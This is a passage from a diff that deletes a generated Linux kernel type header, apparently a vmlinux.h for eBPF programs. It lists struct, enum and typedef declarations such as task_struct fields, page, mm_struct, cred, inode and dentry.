rcu_users; - struct callback_head rcu; - }; - struct pipe_inode_info *splice_pipe; - struct page_frag task_frag; - struct task_delay_info *delays; - int make_it_fail; - unsigned int fail_nth; - int nr_dirtied; - int nr_dirtied_pause; - long unsigned int dirty_paused_when; - u64 timer_slack_ns; - u64 default_timer_slack_ns; - int curr_ret_stack; - int curr_ret_depth; - struct ftrace_ret_stack *ret_stack; - long long unsigned int ftrace_timestamp; - atomic_t trace_overrun; - atomic_t tracing_graph_pause; - long unsigned int trace_recursion; - struct mem_cgroup *memcg_in_oom; - gfp_t memcg_oom_gfp_mask; - int memcg_oom_order; - unsigned int memcg_nr_pages_over_high; - struct mem_cgroup *active_memcg; - struct request_queue *throttle_queue; - struct uprobe_task *utask; - struct kmap_ctrl kmap_ctrl; - long unsigned int task_state_change; - int pagefault_disabled; - struct task_struct *oom_reaper_list; - struct timer_list oom_reaper_timer; - struct vm_struct *stack_vm_area; - refcount_t stack_refcount; - void *security; - struct bpf_local_storage *bpf_storage; - struct bpf_run_ctx *bpf_ctx; - void *mce_vaddr; - __u64 mce_kflags; - u64 mce_addr; - __u64 mce_ripv: 1; - __u64 mce_whole_page: 1; - __u64 __mce_reserved: 62; - struct callback_head mce_kill_me; - int mce_count; - struct llist_head kretprobe_instances; - struct llist_head rethooks; - struct callback_head l1d_flush_kill; - long: 64; - long: 64; - struct thread_struct thread; -}; - -struct jump_entry { - s32 code; - s32 target; - long int key; -}; - -struct static_key_mod; - -struct static_key { - atomic_t enabled; - union { - long unsigned int type; - struct jump_entry *entries; - struct static_key_mod *next; - }; -}; - -struct orc_entry { - s16 sp_offset; - s16 bp_offset; - unsigned int sp_reg: 4; - unsigned int bp_reg: 4; - unsigned int type: 2; - unsigned int end: 1; -} __attribute__((packed)); - -struct bug_entry { - int bug_addr_disp; - int file_disp; - short unsigned int line; - short unsigned int flags; -}; - -typedef __s64 time64_t; - -struct __kernel_timespec { - __kernel_time64_t tv_sec; - long long int tv_nsec; -}; - -struct timespec64 { - time64_t tv_sec; - long int tv_nsec; -}; - -typedef s32 old_time32_t; - -struct old_timespec32 { - old_time32_t tv_sec; - s32 tv_nsec; -}; - -struct pt_regs { - long unsigned int r15; - long unsigned int r14; - long unsigned int r13; - long unsigned int r12; - long unsigned int bp; - long unsigned int bx; - long unsigned int r11; - long unsigned int r10; - long unsigned int r9; - long unsigned int r8; - long unsigned int ax; - long unsigned int cx; - long unsigned int dx; - long unsigned int si; - long unsigned int di; - long unsigned int orig_ax; - long unsigned int ip; - long unsigned int cs; - long unsigned int flags; - long unsigned int sp; - long unsigned int ss; -}; - -struct math_emu_info { - long int ___orig_eip; - struct pt_regs *regs; -}; - -typedef long unsigned int pgdval_t; - -typedef long unsigned int pgprotval_t; - -struct pgprot { - pgprotval_t pgprot; -}; - -typedef struct pgprot pgprot_t; - -typedef struct { - pgdval_t pgd; -} pgd_t; - -typedef struct page *pgtable_t; - -struct address_space; - -struct page_pool; - -struct dev_pagemap; - -struct page { - long unsigned int flags; - union { - struct { - union { - struct list_head lru; - struct { - void *__filler; - unsigned int mlock_count; - }; - struct list_head buddy_list; - struct list_head pcp_list; - }; - struct address_space *mapping; - long unsigned int index; - long unsigned int private; - }; - struct { - long unsigned int pp_magic; - struct page_pool *pp; - long unsigned int _pp_mapping_pad; - long unsigned int dma_addr; - union { - long unsigned int dma_addr_upper; - atomic_long_t pp_frag_count; - }; - }; - struct { - long unsigned int compound_head; - unsigned char compound_dtor; - unsigned char compound_order; - atomic_t compound_mapcount; - atomic_t compound_pincount; - unsigned int compound_nr; - }; - struct { - long unsigned int _compound_pad_1; - long unsigned int _compound_pad_2; - struct list_head deferred_list; - }; - struct { - long unsigned int _pt_pad_1; - pgtable_t pmd_huge_pte; - long unsigned int _pt_pad_2; - union { - struct mm_struct *pt_mm; - atomic_t pt_frag_refcount; - }; - spinlock_t *ptl; - }; - struct { - struct dev_pagemap *pgmap; - void *zone_device_data; - }; - struct callback_head callback_head; - }; - union { - atomic_t _mapcount; - unsigned int page_type; - }; - atomic_t _refcount; - long unsigned int memcg_data; -}; - -struct tracepoint_func { - void *func; - void *data; - int prio; -}; - -struct tracepoint { - const char *name; - struct static_key key; - struct static_call_key *static_call_key; - void *static_call_tramp; - void *iterator; - int (*regfunc)(); - void (*unregfunc)(); - struct tracepoint_func *funcs; -}; - -typedef const int tracepoint_ptr_t; - -struct bpf_raw_event_map { - struct tracepoint *tp; - void *bpf_func; - u32 num_args; - u32 writable_size; - long: 64; -}; - -enum xfeature { - XFEATURE_FP = 0, - XFEATURE_SSE = 1, - XFEATURE_YMM = 2, - XFEATURE_BNDREGS = 3, - XFEATURE_BNDCSR = 4, - XFEATURE_OPMASK = 5, - XFEATURE_ZMM_Hi256 = 6, - XFEATURE_Hi16_ZMM = 7, - XFEATURE_PT_UNIMPLEMENTED_SO_FAR = 8, - XFEATURE_PKRU = 9, - XFEATURE_PASID = 10, - XFEATURE_RSRVD_COMP_11 = 11, - XFEATURE_RSRVD_COMP_12 = 12, - XFEATURE_RSRVD_COMP_13 = 13, - XFEATURE_RSRVD_COMP_14 = 14, - XFEATURE_LBR = 15, - XFEATURE_RSRVD_COMP_16 = 16, - XFEATURE_XTILE_CFG = 17, - XFEATURE_XTILE_DATA = 18, - XFEATURE_MAX = 19, -}; - -struct fpu_state_config { - unsigned int max_size; - unsigned int default_size; - u64 max_features; - u64 default_features; - u64 legacy_features; -}; - -struct cpuinfo_x86 { - __u8 x86; - __u8 x86_vendor; - __u8 x86_model; - __u8 x86_stepping; - int x86_tlbsize; - __u32 vmx_capability[5]; - __u8 x86_virt_bits; - __u8 x86_phys_bits; - __u8 x86_coreid_bits; - __u8 cu_id; - __u32 extended_cpuid_level; - int cpuid_level; - union { - __u32 x86_capability[21]; - long unsigned int x86_capability_alignment; - }; - char x86_vendor_id[16]; - char x86_model_id[64]; - unsigned int x86_cache_size; - int x86_cache_alignment; - int x86_cache_max_rmid; - int x86_cache_occ_scale; - int x86_cache_mbm_width_offset; - int x86_power; - long unsigned int loops_per_jiffy; - u64 ppin; - u16 x86_max_cores; - u16 apicid; - u16 initial_apicid; - u16 x86_clflush_size; - u16 booted_cores; - u16 phys_proc_id; - u16 logical_proc_id; - u16 cpu_core_id; - u16 cpu_die_id; - u16 logical_die_id; - u16 cpu_index; - bool smt_active; - u32 microcode; - u8 x86_cache_bits; - unsigned int initialized: 1; -}; - -typedef struct { - arch_rwlock_t raw_lock; - unsigned int magic; - unsigned int owner_cpu; - void *owner; - struct lockdep_map dep_map; -} rwlock_t; - -struct wait_queue_head { - spinlock_t lock; - struct list_head head; -}; - -typedef struct wait_queue_head wait_queue_head_t; - -enum pid_type { - PIDTYPE_PID = 0, - PIDTYPE_TGID = 1, - PIDTYPE_PGID = 2, - PIDTYPE_SID = 3, - PIDTYPE_MAX = 4, -}; - -struct pid_namespace; - -struct upid { - int nr; - struct pid_namespace *ns; -}; - -struct pid { - refcount_t count; - unsigned int level; - spinlock_t lock; - struct hlist_head tasks[4]; - struct hlist_head inodes; - wait_queue_head_t wait_pidfd; - struct callback_head rcu; - struct upid numbers[1]; -}; - -typedef struct { - gid_t val; -} kgid_t; - -struct work_struct; - -typedef void (*work_func_t)(struct work_struct *); - -struct work_struct { - atomic_long_t data; - struct list_head entry; - work_func_t func; - struct lockdep_map lockdep_map; -}; - -struct workqueue_struct; - -struct delayed_work { - struct work_struct work; - struct timer_list timer; - struct workqueue_struct *wq; - int cpu; -}; - -struct seqcount_raw_spinlock { - seqcount_t seqcount; - raw_spinlock_t *lock; -}; - -typedef struct seqcount_raw_spinlock seqcount_raw_spinlock_t; - -typedef struct { - seqcount_spinlock_t seqcount; - spinlock_t lock; -} seqlock_t; - -struct hrtimer_cpu_base; - -struct hrtimer_clock_base { - struct hrtimer_cpu_base *cpu_base; - unsigned int index; - clockid_t clockid; - seqcount_raw_spinlock_t seq; - struct hrtimer *running; - struct timerqueue_head active; - ktime_t (*get_time)(); - ktime_t offset; - long: 64; - long: 64; -}; - -struct hrtimer_cpu_base { - raw_spinlock_t lock; - unsigned int cpu; - unsigned int active_bases; - unsigned int clock_was_set_seq; - unsigned int hres_active: 1; - unsigned int in_hrtirq: 1; - unsigned int hang_detected: 1; - unsigned int softirq_activated: 1; - unsigned int nr_events; - short unsigned int nr_retries; - short unsigned int nr_hangs; - unsigned int max_hang_time; - ktime_t expires_next; - struct hrtimer *next_timer; - ktime_t softirq_expires_next; - struct hrtimer *softirq_next_timer; - struct hrtimer_clock_base clock_base[8]; -}; - -struct rlimit { - __kernel_ulong_t rlim_cur; - __kernel_ulong_t rlim_max; -}; - -typedef void __signalfn_t(int); - -typedef __signalfn_t *__sighandler_t; - -typedef void __restorefn_t(); - -typedef __restorefn_t *__sigrestore_t; - -union sigval { - int sival_int; - void *sival_ptr; -}; - -typedef union sigval sigval_t; - -union __sifields { - struct { - __kernel_pid_t _pid; - __kernel_uid32_t _uid; - } _kill; - struct { - __kernel_timer_t _tid; - int _overrun; - sigval_t _sigval; - int _sys_private; - } _timer; - struct { - __kernel_pid_t _pid; - __kernel_uid32_t _uid; - sigval_t _sigval; - } _rt; - struct { - __kernel_pid_t _pid; - __kernel_uid32_t _uid; - int _status; - __kernel_clock_t _utime; - __kernel_clock_t _stime; - } _sigchld; - struct { - void *_addr; - union { - int _trapno; - short int _addr_lsb; - struct { - char _dummy_bnd[8]; - void *_lower; - void *_upper; - } _addr_bnd; - struct { - char _dummy_pkey[8]; - __u32 _pkey; - } _addr_pkey; - struct { - long unsigned int _data; - __u32 _type; - __u32 _flags; - } _perf; - }; - } _sigfault; - struct { - long int _band; - int _fd; - } _sigpoll; - struct { - void *_call_addr; - int _syscall; - unsigned int _arch; - } _sigsys; -}; - -struct kernel_siginfo { - struct { - int si_signo; - int si_errno; - int si_code; - union __sifields _sifields; - }; -}; - -struct sigaction { - __sighandler_t sa_handler; - long unsigned int sa_flags; - __sigrestore_t sa_restorer; - sigset_t sa_mask; -}; - -struct k_sigaction { - struct sigaction sa; -}; - -struct mm_rss_stat { - atomic_long_t count[4]; -}; - -struct cpu_itimer { - u64 expires; - u64 incr; -}; - -struct task_cputime_atomic { - atomic64_t utime; - atomic64_t stime; - atomic64_t sum_exec_runtime; -}; - -struct thread_group_cputimer { - struct task_cputime_atomic cputime_atomic; -}; - -struct pacct_struct { - int ac_flag; - long int ac_exitcode; - long unsigned int ac_mem; - u64 ac_utime; - u64 ac_stime; - long unsigned int ac_minflt; - long unsigned int ac_majflt; -}; - -struct rw_semaphore { - atomic_long_t count; - atomic_long_t owner; - struct optimistic_spin_queue osq; - raw_spinlock_t wait_lock; - struct list_head wait_list; - void *magic; - struct lockdep_map dep_map; -}; - -struct core_state; - -struct tty_struct; - -struct taskstats; - -struct tty_audit_buf; - -struct signal_struct { - refcount_t sigcnt; - atomic_t live; - int nr_threads; - int quick_threads; - struct list_head thread_head; - wait_queue_head_t wait_chldexit; - struct task_struct *curr_target; - struct sigpending shared_pending; - struct hlist_head multiprocess; - int group_exit_code; - int notify_count; - struct task_struct *group_exec_task; - int group_stop_count; - unsigned int flags; - struct core_state *core_state; - unsigned int is_child_subreaper: 1; - unsigned int has_child_subreaper: 1; - int posix_timer_id; - struct list_head posix_timers; - struct hrtimer real_timer; - ktime_t it_real_incr; - struct cpu_itimer it[2]; - struct thread_group_cputimer cputimer; - struct posix_cputimers posix_cputimers; - struct pid *pids[4]; - struct pid *tty_old_pgrp; - int leader; - struct tty_struct *tty; - seqlock_t stats_lock; - u64 utime; - u64 stime; - u64 cutime; - u64 cstime; - u64 gtime; - u64 cgtime; - struct prev_cputime prev_cputime; - long unsigned int nvcsw; - long unsigned int nivcsw; - long unsigned int cnvcsw; - long unsigned int cnivcsw; - long unsigned int min_flt; - long unsigned int maj_flt; - long unsigned int cmin_flt; - long unsigned int cmaj_flt; - long unsigned int inblock; - long unsigned int oublock; - long unsigned int cinblock; - long unsigned int coublock; - long unsigned int maxrss; - long unsigned int cmaxrss; - struct task_io_accounting ioac; - long long unsigned int sum_sched_runtime; - struct rlimit rlim[16]; - struct pacct_struct pacct; - struct taskstats *stats; - unsigned int audit_tty; - struct tty_audit_buf *tty_audit_buf; - bool oom_flag_origin; - short int oom_score_adj; - short int oom_score_adj_min; - struct mm_struct *oom_mm; - struct mutex cred_guard_mutex; - struct rw_semaphore exec_update_lock; -}; - -struct rseq { - __u32 cpu_id_start; - __u32 cpu_id; - __u64 rseq_cs; - __u32 flags; - long: 64; -}; - -struct rq; - -struct rq_flags; - -struct sched_class { - void (*enqueue_task)(struct rq *, struct task_struct *, int); - void (*dequeue_task)(struct rq *, struct task_struct *, int); - void (*yield_task)(struct rq *); - bool (*yield_to_task)(struct rq *, struct task_struct *); - void (*check_preempt_curr)(struct rq *, struct task_struct *, int); - struct task_struct * (*pick_next_task)(struct rq *); - void (*put_prev_task)(struct rq *, struct task_struct *); - void (*set_next_task)(struct rq *, struct task_struct *, bool); - int (*balance)(struct rq *, struct task_struct *, struct rq_flags *); - int (*select_task_rq)(struct task_struct *, int, int); - struct task_struct * (*pick_task)(struct rq *); - void (*migrate_task_rq)(struct task_struct *, int); - void (*task_woken)(struct rq *, struct task_struct *); - void (*set_cpus_allowed)(struct task_struct *, const struct cpumask *, u32); - void (*rq_online)(struct rq *); - void (*rq_offline)(struct rq *); - struct rq * (*find_lock_rq)(struct task_struct *, struct rq *); - void (*task_tick)(struct rq *, struct task_struct *, int); - void (*task_fork)(struct task_struct *); - void (*task_dead)(struct task_struct *); - void (*switched_from)(struct rq *, struct task_struct *); - void (*switched_to)(struct rq *, struct task_struct *); - void (*prio_changed)(struct rq *, struct task_struct *, int); - unsigned int (*get_rr_interval)(struct rq *, struct task_struct *); - void (*update_curr)(struct rq *); - void (*task_change_group)(struct task_struct *); -}; - -typedef struct lockdep_map *lockdep_map_p; - -struct maple_tree { - union { - spinlock_t ma_lock; - lockdep_map_p ma_external_lock; - }; - void *ma_root; - unsigned int ma_flags; -}; - -struct ldt_struct; - -struct vdso_image; - -typedef struct { - u64 ctx_id; - atomic64_t tlb_gen; - struct rw_semaphore ldt_usr_sem; - struct ldt_struct *ldt; - short unsigned int flags; - struct mutex lock; - void *vdso; - const struct vdso_image *vdso_image; - atomic_t perf_rdpmc_allowed; - u16 pkey_allocation_map; - s16 execute_only_pkey; -} mm_context_t; - -struct xol_area; - -struct uprobes_state { - struct xol_area *xol_area; -}; - -struct linux_binfmt; - -struct kioctx_table; - -struct user_namespace; - -struct mm_struct { - struct { - struct maple_tree mm_mt; - long unsigned int (*get_unmapped_area)(struct file *, long unsigned int, long unsigned int, long unsigned int, long unsigned int); - long unsigned int mmap_base; - long unsigned int mmap_legacy_base; - long unsigned int task_size; - pgd_t *pgd; - atomic_t membarrier_state; - atomic_t mm_users; - atomic_t mm_count; - atomic_long_t pgtables_bytes; - int map_count; - spinlock_t page_table_lock; - struct rw_semaphore mmap_lock; - struct list_head mmlist; - long unsigned int hiwater_rss; - long unsigned int hiwater_vm; - long unsigned int total_vm; - long unsigned int locked_vm; - atomic64_t pinned_vm; - long unsigned int data_vm; - long unsigned int exec_vm; - long unsigned int stack_vm; - long unsigned int def_flags; - seqcount_t write_protect_seq; - spinlock_t arg_lock; - long unsigned int start_code; - long unsigned int end_code; - long unsigned int start_data; - long unsigned int end_data; - long unsigned int start_brk; - long unsigned int brk; - long unsigned int start_stack; - long unsigned int arg_start; - long unsigned int arg_end; - long unsigned int env_start; - long unsigned int env_end; - long unsigned int saved_auxv[46]; - struct mm_rss_stat rss_stat; - struct linux_binfmt *binfmt; - mm_context_t context; - long unsigned int flags; - spinlock_t ioctx_lock; - struct kioctx_table *ioctx_table; - struct task_struct *owner; - struct user_namespace *user_ns; - struct file *exe_file; - long unsigned int numa_next_scan; - long unsigned int numa_scan_offset; - int numa_scan_seq; - atomic_t tlb_flush_pending; - atomic_t tlb_flush_batched; - struct uprobes_state uprobes_state; - atomic_long_t hugetlb_usage; - struct work_struct async_put_work; - long unsigned int ksm_merging_pages; - long unsigned int ksm_rmap_items; - }; - long unsigned int cpu_bitmap[0]; -}; - -struct swait_queue_head { - raw_spinlock_t lock; - struct list_head task_list; -}; - -struct completion { - unsigned int done; - struct swait_queue_head wait; -}; - -struct kernel_cap_struct { - __u32 cap[2]; -}; - -typedef struct kernel_cap_struct kernel_cap_t; - -struct user_struct; - -struct ucounts; - -struct group_info; - -struct cred { - atomic_t usage; - atomic_t subscribers; - void *put_addr; - unsigned int magic; - kuid_t uid; - kgid_t gid; - kuid_t suid; - kgid_t sgid; - kuid_t euid; - kgid_t egid; - kuid_t fsuid; - kgid_t fsgid; - unsigned int securebits; - kernel_cap_t cap_inheritable; - kernel_cap_t cap_permitted; - kernel_cap_t cap_effective; - kernel_cap_t cap_bset; - kernel_cap_t cap_ambient; - unsigned char jit_keyring; - struct key *session_keyring; - struct key *process_keyring; - struct key *thread_keyring; - struct key *request_key_auth; - void *security; - struct user_struct *user; - struct user_namespace *user_ns; - struct ucounts *ucounts; - struct group_info *group_info; - union { - int non_rcu; - struct callback_head rcu; - }; -}; - -typedef int32_t key_serial_t; - -typedef uint32_t key_perm_t; - -struct key_type; - -struct key_tag; - -struct keyring_index_key { - long unsigned int hash; - union { - struct { - u16 desc_len; - char desc[6]; - }; - long unsigned int x; - }; - struct key_type *type; - struct key_tag *domain_tag; - const char *description; -}; - -union key_payload { - void *rcu_data0; - void *data[4]; -}; - -struct assoc_array_ptr; - -struct assoc_array { - struct assoc_array_ptr *root; - long unsigned int nr_leaves_on_tree; -}; - -struct key_user; - -struct key_restriction; - -struct key { - refcount_t usage; - key_serial_t serial; - union { - struct list_head graveyard_link; - struct rb_node serial_node; - }; - struct rw_semaphore sem; - struct key_user *user; - void *security; - union { - time64_t expiry; - time64_t revoked_at; - }; - time64_t last_used_at; - kuid_t uid; - kgid_t gid; - key_perm_t perm; - short unsigned int quotalen; - short unsigned int datalen; - short int state; - long unsigned int flags; - union { - struct keyring_index_key index_key; - struct { - long unsigned int hash; - long unsigned int len_desc; - struct key_type *type; - struct key_tag *domain_tag; - char *description; - }; - }; - union { - union key_payload payload; - struct { - struct list_head name_link; - struct assoc_array keys; - }; - }; - struct key_restriction *restrict_link; -}; - -struct sighand_struct { - spinlock_t siglock; - refcount_t count; - wait_queue_head_t signalfd_wqh; - struct k_sigaction action[64]; -}; - -struct io_context { - atomic_long_t refcount; - atomic_t active_ref; - short unsigned int ioprio; -}; - -enum uprobe_task_state { - UTASK_RUNNING = 0, - UTASK_SSTEP = 1, - UTASK_SSTEP_ACK = 2, - UTASK_SSTEP_TRAPPED = 3, -}; - -struct arch_uprobe_task { - long unsigned int saved_scratch_register; - unsigned int saved_trap_nr; - unsigned int saved_tf; -}; - -struct uprobe; - -struct return_instance; - -struct uprobe_task { - enum uprobe_task_state state; - union { - struct { - struct arch_uprobe_task autask; - long unsigned int vaddr; - }; - struct { - struct callback_head dup_xol_work; - long unsigned int dup_xol_addr; - }; - }; - struct uprobe *active_uprobe; - long unsigned int xol_vaddr; - struct return_instance *return_instances; - unsigned int depth; -}; - -struct vm_struct { - struct vm_struct *next; - void *addr; - long unsigned int size; - long unsigned int flags; - struct page **pages; - unsigned int page_order; - unsigned int nr_pages; - phys_addr_t phys_addr; - const void *caller; -}; - -struct kstat { - u32 result_mask; - umode_t mode; - unsigned int nlink; - uint32_t blksize; - u64 attributes; - u64 attributes_mask; - u64 ino; - dev_t dev; - dev_t rdev; - kuid_t uid; - kgid_t gid; - loff_t size; - struct timespec64 atime; - struct timespec64 mtime; - struct timespec64 ctime; - struct timespec64 btime; - u64 blocks; - u64 mnt_id; - u32 dio_mem_align; - u32 dio_offset_align; -}; - -struct kref { - refcount_t refcount; -}; - -struct rcu_segcblist { - struct callback_head *head; - struct callback_head **tails[4]; - long unsigned int gp_seq[4]; - long int len; - long int seglen[4]; - u8 flags; -}; - -struct srcu_node; - -struct srcu_struct; - -struct srcu_data { - long unsigned int srcu_lock_count[2]; - long unsigned int srcu_unlock_count[2]; - long: 64; - long: 64; - long: 64; - long: 64; - spinlock_t lock; - struct rcu_segcblist srcu_cblist; - long unsigned int srcu_gp_seq_needed; - long unsigned int srcu_gp_seq_needed_exp; - bool srcu_cblist_invoking; - struct timer_list delay_work; - struct work_struct work; - struct callback_head srcu_barrier_head; - struct srcu_node *mynode; - long unsigned int grpmask; - int cpu; - struct srcu_struct *ssp; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -struct srcu_node { - spinlock_t lock; - long unsigned int srcu_have_cbs[4]; - long unsigned int srcu_data_have_cbs[4]; - long unsigned int srcu_gp_seq_needed_exp; - struct srcu_node *srcu_parent; - int grplo; - int grphi; -}; - -struct srcu_struct { - struct srcu_node *node; - struct srcu_node *level[3]; - int srcu_size_state; - struct mutex srcu_cb_mutex; - spinlock_t lock; - struct mutex srcu_gp_mutex; - unsigned int srcu_idx; - long unsigned int srcu_gp_seq; - long unsigned int srcu_gp_seq_needed; - long unsigned int srcu_gp_seq_needed_exp; - long unsigned int srcu_gp_start; - long unsigned int srcu_last_gp_end; - long unsigned int srcu_size_jiffies; - long unsigned int srcu_n_lock_retries; - long unsigned int srcu_n_exp_nodelay; - struct srcu_data *sda; - bool sda_is_static; - long unsigned int srcu_barrier_seq; - struct mutex srcu_barrier_mutex; - struct completion srcu_barrier_completion; - atomic_t srcu_barrier_cpu_cnt; - long unsigned int reschedule_jiffies; - long unsigned int reschedule_count; - struct delayed_work work; - struct lockdep_map dep_map; -}; - -struct return_instance { - struct uprobe *uprobe; - long unsigned int func; - long unsigned int stack; - long unsigned int orig_ret_vaddr; - bool chained; - struct return_instance *next; -}; - -struct vdso_image { - void *data; - long unsigned int size; - long unsigned int alt; - long unsigned int alt_len; - long unsigned int extable_base; - long unsigned int extable_len; - const void *extable; - long int sym_vvar_start; - long int sym_vvar_page; - long int sym_pvclock_page; - long int sym_hvclock_page; - long int sym_timens_page; - long int sym_VDSO32_NOTE_MASK; - long int sym___kernel_sigreturn; - long int sym___kernel_rt_sigreturn; - long int sym___kernel_vsyscall; - long int sym_int80_landing_pad; - long int sym_vdso32_sigreturn_landing_pad; - long int sym_vdso32_rt_sigreturn_landing_pad; -}; - -struct xarray { - spinlock_t xa_lock; - gfp_t xa_flags; - void *xa_head; -}; - -typedef u32 errseq_t; - -struct address_space_operations; - -struct address_space { - struct inode *host; - struct xarray i_pages; - struct rw_semaphore invalidate_lock; - gfp_t gfp_mask; - atomic_t i_mmap_writable; - struct rb_root_cached i_mmap; - struct rw_semaphore i_mmap_rwsem; - long unsigned int nrpages; - long unsigned int writeback_index; - const struct address_space_operations *a_ops; - long unsigned int flags; - errseq_t wb_err; - spinlock_t private_lock; - struct list_head private_list; - void *private_data; -}; - -struct folio { - union { - struct { - long unsigned int flags; - union { - struct list_head lru; - struct { - void *__filler; - unsigned int mlock_count; - }; - }; - struct address_space *mapping; - long unsigned int index; - void *private; - atomic_t _mapcount; - atomic_t _refcount; - long unsigned int memcg_data; - }; - struct page page; - }; - long unsigned int _flags_1; - long unsigned int __head; - unsigned char _folio_dtor; - unsigned char _folio_order; - atomic_t _total_mapcount; - atomic_t _pincount; - unsigned int _folio_nr_pages; -}; - -struct vfsmount; - -struct path { - struct vfsmount *mnt; - struct dentry *dentry; -}; - -struct fown_struct { - rwlock_t lock; - struct pid *pid; - enum pid_type pid_type; - kuid_t uid; - kuid_t euid; - int signum; -}; - -struct file_ra_state { - long unsigned int start; - unsigned int size; - unsigned int async_size; - unsigned int ra_pages; - unsigned int mmap_miss; - loff_t prev_pos; -}; - -struct file { - union { - struct llist_node f_llist; - struct callback_head f_rcuhead; - unsigned int f_iocb_flags; - }; - struct path f_path; - struct inode *f_inode; - const struct file_operations *f_op; - spinlock_t f_lock; - atomic_long_t f_count; - unsigned int f_flags; - fmode_t f_mode; - struct mutex f_pos_lock; - loff_t f_pos; - struct fown_struct f_owner; - const struct cred *f_cred; - struct file_ra_state f_ra; - u64 f_version; - void *f_security; - void *private_data; - struct hlist_head *f_ep; - struct address_space *f_mapping; - errseq_t f_wb_err; - errseq_t f_sb_err; -}; - -struct userfaultfd_ctx; - -struct vm_userfaultfd_ctx { - struct userfaultfd_ctx *ctx; -}; - -struct anon_vma_name { - struct kref kref; - char name[0]; -}; - -struct anon_vma; - -struct vm_operations_struct; - -struct vm_area_struct { - long unsigned int vm_start; - long unsigned int vm_end; - struct mm_struct *vm_mm; - pgprot_t vm_page_prot; - long unsigned int vm_flags; - union { - struct { - struct rb_node rb; - long unsigned int rb_subtree_last; - } shared; - struct anon_vma_name *anon_name; - }; - struct list_head anon_vma_chain; - struct anon_vma *anon_vma; - const struct vm_operations_struct *vm_ops; - long unsigned int vm_pgoff; - struct file *vm_file; - void *vm_private_data; - atomic_long_t swap_readahead_info; - struct mempolicy *vm_policy; - struct vm_userfaultfd_ctx vm_userfaultfd_ctx; -}; - -typedef unsigned int vm_fault_t; - -enum page_entry_size { - PE_SIZE_PTE = 0, - PE_SIZE_PMD = 1, - PE_SIZE_PUD = 2, -}; - -struct vm_fault; - -struct vm_operations_struct { - void (*open)(struct vm_area_struct *); - void (*close)(struct vm_area_struct *); - int (*may_split)(struct vm_area_struct *, long unsigned int); - int (*mremap)(struct vm_area_struct *); - int (*mprotect)(struct vm_area_struct *, long unsigned int, long unsigned int, long unsigned int); - vm_fault_t (*fault)(struct vm_fault *); - vm_fault_t (*huge_fault)(struct vm_fault *, enum page_entry_size); - vm_fault_t (*map_pages)(struct vm_fault *, long unsigned int, long unsigned int); - long unsigned int (*pagesize)(struct vm_area_struct *); - vm_fault_t (*page_mkwrite)(struct vm_fault *); - vm_fault_t (*pfn_mkwrite)(struct vm_fault *); - int (*access)(struct vm_area_struct *, long unsigned int, void *, int, int); - const char * (*name)(struct vm_area_struct *); - int (*set_policy)(struct vm_area_struct *, struct mempolicy *); - struct mempolicy * (*get_policy)(struct vm_area_struct *, long unsigned int); - struct page * (*find_special_page)(struct vm_area_struct *, long unsigned int); -}; - -struct iovec { - void *iov_base; - __kernel_size_t iov_len; -}; - -struct kvec { - void *iov_base; - size_t iov_len; -}; - -struct bio_vec { - struct page *bv_page; - unsigned int bv_len; - unsigned int bv_offset; -}; - -struct iov_iter { - u8 iter_type; - bool nofault; - bool data_source; - bool user_backed; - union { - size_t iov_offset; - int last_offset; - }; - size_t count; - union { - const struct iovec *iov; - const struct kvec *kvec; - const struct bio_vec *bvec; - struct xarray *xarray; - struct pipe_inode_info *pipe; - void *ubuf; - }; - union { - long unsigned int nr_segs; - struct { - unsigned int head; - unsigned int start_head; - }; - loff_t xarray_start; - }; -}; - -struct wait_page_queue; - -struct kiocb { - struct file *ki_filp; - loff_t ki_pos; - void (*ki_complete)(struct kiocb *, long int); - void *private; - int ki_flags; - u16 ki_ioprio; - struct wait_page_queue *ki_waitq; -}; - -struct hlist_bl_node; - -struct hlist_bl_head { - struct hlist_bl_node *first; -}; - -struct hlist_bl_node { - struct hlist_bl_node *next; - struct hlist_bl_node **pprev; -}; - -struct lockref { - union { - struct { - spinlock_t lock; - int count; - }; - }; -}; - -struct qstr { - union { - struct { - u32 hash; - u32 len; - }; - u64 hash_len; - }; - const unsigned char *name; -}; - -struct dentry_operations; - -struct dentry { - unsigned int d_flags; - seqcount_spinlock_t d_seq; - struct hlist_bl_node d_hash; - struct dentry *d_parent; - struct qstr d_name; - struct inode *d_inode; - unsigned char d_iname[32]; - struct lockref d_lockref; - const struct dentry_operations *d_op; - struct super_block *d_sb; - long unsigned int d_time; - void *d_fsdata; - union { - struct list_head d_lru; - wait_queue_head_t *d_wait; - }; - struct list_head d_child; - struct list_head d_subdirs; - union { - struct hlist_node d_alias; - struct hlist_bl_node d_in_lookup_hash; - struct callback_head d_rcu; - } d_u; -}; - -struct posix_acl; - -struct inode_operations; - -struct bdi_writeback; - -struct file_lock_context; - -struct cdev; - -struct fsnotify_mark_connector; - -struct inode { - umode_t i_mode; - short unsigned int i_opflags; - kuid_t i_uid; - kgid_t i_gid; - unsigned int i_flags; - struct posix_acl *i_acl; - struct posix_acl *i_default_acl; - const struct inode_operations *i_op; - struct super_block *i_sb; - struct address_space *i_mapping; - void *i_security; - long unsigned int i_ino; - union { - const unsigned int i_nlink; - unsigned int __i_nlink; - }; - dev_t i_rdev; - loff_t i_size; - struct timespec64 i_atime; - struct timespec64 i_mtime; - struct timespec64 i_ctime; - spinlock_t i_lock; - short unsigned int i_bytes; - u8 i_blkbits; - u8 i_write_hint; - blkcnt_t i_blocks; - long unsigned int i_state; - struct rw_semaphore i_rwsem; - long unsigned int dirtied_when; - long unsigned int dirtied_time_when; - struct hlist_node i_hash; - struct list_head i_io_list; - struct bdi_writeback *i_wb; - int i_wb_frn_winner; - u16 i_wb_frn_avg_time; - u16 i_wb_frn_history; - struct list_head i_lru; - struct list_head i_sb_list; - struct list_head i_wb_list; - union { - struct hlist_head i_dentry; - struct callback_head i_rcu; - }; - atomic64_t i_version; - atomic64_t i_sequence; - atomic_t i_count; - atomic_t i_dio_count; - atomic_t i_writecount; - atomic_t i_readcount; - union { - const struct file_operations *i_fop; - void (*free_inode)(struct inode *); - }; - struct file_lock_context *i_flctx; - struct address_space i_data; - struct list_head i_devices; - union { - struct pipe_inode_info *i_pipe; - struct cdev *i_cdev; - char *i_link; - unsigned int i_dir_seq; - }; - __u32 i_generation; - __u32 i_fsnotify_mask; - struct fsnotify_mark_connector *i_fsnotify_marks; - void *i_private; -}; - -struct dentry_operations { - int (*d_revalidate)(struct dentry *, unsigned int); - int (*d_weak_revalidate)(struct dentry *, unsigned int); - int (*d_hash)(const struct dentry *, struct qstr *); - int (*d_compare)(const struct dentry *, unsigned int, const char *, const struct qstr *); - 